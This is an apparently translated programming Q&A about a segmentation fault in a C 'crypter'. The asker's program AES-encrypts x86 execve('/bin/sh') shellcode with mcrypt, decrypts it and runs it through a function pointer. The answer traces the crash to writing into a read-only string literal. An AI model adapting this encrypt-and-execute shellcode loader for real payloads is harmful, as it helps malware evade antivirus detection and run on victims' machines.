2013-05-02 26 views
1

我想在c中使用AES對shellcode進行加密來構建自己的crypter。現在,我已經做了一個程序的crypter它可以在下面找到的的PoC:mcrypt的分段錯誤(可能與緩衝區有關)

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

/* 
* MCrypt API available online: 
* http://linux.die.net/man/3/mcrypt 
*/ 
#include <mcrypt.h> 

#include <math.h> 
#include <stdint.h> 
#include <stdlib.h> 

int encrypt(
    void* buffer, 
    int buffer_len, /* Because the plaintext could include null bytes*/ 
    char* IV, 
    char* key, 
    int key_len 
){ 
    MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL); 
    int blocksize = mcrypt_enc_get_block_size(td); 
    if(buffer_len % blocksize != 0){return 1;} 

    mcrypt_generic_init(td, key, key_len, IV); 
    mcrypt_generic(td, buffer, buffer_len); 
    mcrypt_generic_deinit (td); 
    mcrypt_module_close(td); 

    return 0; 
} 

int decrypt(
    void* buffer, 
    int buffer_len, 
    char* IV, 
    char* key, 
    int key_len 
){ 
    MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL); 
    int blocksize = mcrypt_enc_get_block_size(td); 
    if(buffer_len % blocksize != 0){return 1;} 

    mcrypt_generic_init(td, key, key_len, IV); 
    mdecrypt_generic(td, buffer, buffer_len); 
    mcrypt_generic_deinit (td); 
    mcrypt_module_close(td); 

    return 0; 
} 


int main() 
{ 
{ 
    MCRYPT td, td2; 
    unsigned char * plaintext = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; 
    char* IV = "AAAAAAAAAAAAAAAA"; 
    char *key = "abcdef"; 
    int keysize = 16; /* 128 bits */ 
    unsigned char buffer[32]; 
    int counter; 
    int buffer_len = 32; 



for (counter = 0; counter < buffer_len; counter++){ 
    buffer[counter]=0x90; 
    } 

    strncpy(buffer, plaintext, buffer_len); 

    int plain_len = strlen(plaintext); 

    printf("==Plain Binary==\n"); 
    for (counter = 0; counter < plain_len; counter++){ 
    printf("%02x",plaintext[counter]); 
    } 

    encrypt(buffer, buffer_len, IV, key, keysize); 

    printf("\n==Encrypted Binary==\n"); 

    for (counter = 0; counter < buffer_len; counter++){ 
    printf("\\x%02x",buffer[counter]); 
    } 

    decrypt(buffer, buffer_len, IV, key, keysize); 

    printf("\n==decrypted Binary==\n"); 
    for (counter = 0; counter < buffer_len; counter++){ 
    if (buffer[counter] == 0){ 
     buffer[counter] = 0x90; 
    } 
    printf("\\x%02x",buffer[counter]); 
    } 
    printf("\n"); 
    printf("Shellcode Length: %d\n", strlen(buffer)); 
    int (*ret)() = (int(*)())buffer; 
    ret(); 


    return 0; 
} 

我的目標是把加密的shellcode,解密並運行它。但是,當我嘗試使用mcrypt_generic_init(td, key, key_len, IV);函數初始化mcrypt時,似乎出現了分段錯誤。我真的不確定是什麼導致了分段錯誤。如果有人有想法?

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

/* 
* MCrypt API available online: 
* http://linux.die.net/man/3/mcrypt 
*/ 
#include <mcrypt.h> 

#include <math.h> 
#include <stdint.h> 
#include <stdlib.h> 


int decrypt(
    void* buffer, 
    int buffer_len, 
    char* IV, 
    char* key, 
    int key_len 
){ 
    MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL); 
    int blocksize = mcrypt_enc_get_block_size(td); 
    if(buffer_len % blocksize != 0){return 1;} 
    printf("proceeding to mcrypt\n"); 
    mcrypt_generic_init(td, key, key_len, IV); 
    printf("initiated mcrypt") ; 


    mdecrypt_generic(td, buffer, buffer_len); 
    printf("proceeding to mcrypt\n"); 

    mcrypt_generic_deinit (td); 
    printf("proceeding to mcrypt\n"); 

    mcrypt_module_close(td); 
    printf("returning from mcrypt\n"); 
    return 0; 
} 

int main() 
{  
    MCRYPT td,td2; 
    char* IV = "AAAAAAAAAAAAAAAA"; 
    char *key = "abcdef"; 
    int keysize = 16; /* 128 bits */ 
    unsigned char* buffer = "\x5c\xd8\xcf\x9e\x8f\x3a\x9f\x52\x2e\x3d\x51\x06\x00\xde\xa6\x64\x45\x5f\x62\x53\x75\xab\xbd\xe1\x33\xc1\x69\xbf\xed\xc8\x5c\xaa"; 
    int buffer_len = 32; 
    int counter; 

    decrypt(buffer, buffer_len, IV, key, keysize); 

for (counter = 0; counter < buffer_len; counter++){ 
     printf("0x%02x",buffer[counter]); 
    } 

    printf("\n"); 
    printf("Shellcode Length: %d\n", strlen(buffer)); 
    int (*ret)() = (int(*)())buffer; 
    ret(); 


    return 0; 
} 

回答

3

您正在嘗試寫入文字字符串。這是錯誤的,因爲編譯器允許在只讀存儲器中分配字符串(他們真的這麼做)。

更改此:

char *buffer = "..." 

成這樣:

char buffer[] = "..." 

後者將分配堆棧(因此修改)上的陣列和動態地從所述文字串的數據填充(DONE每次輸入函數都會重新輸入)。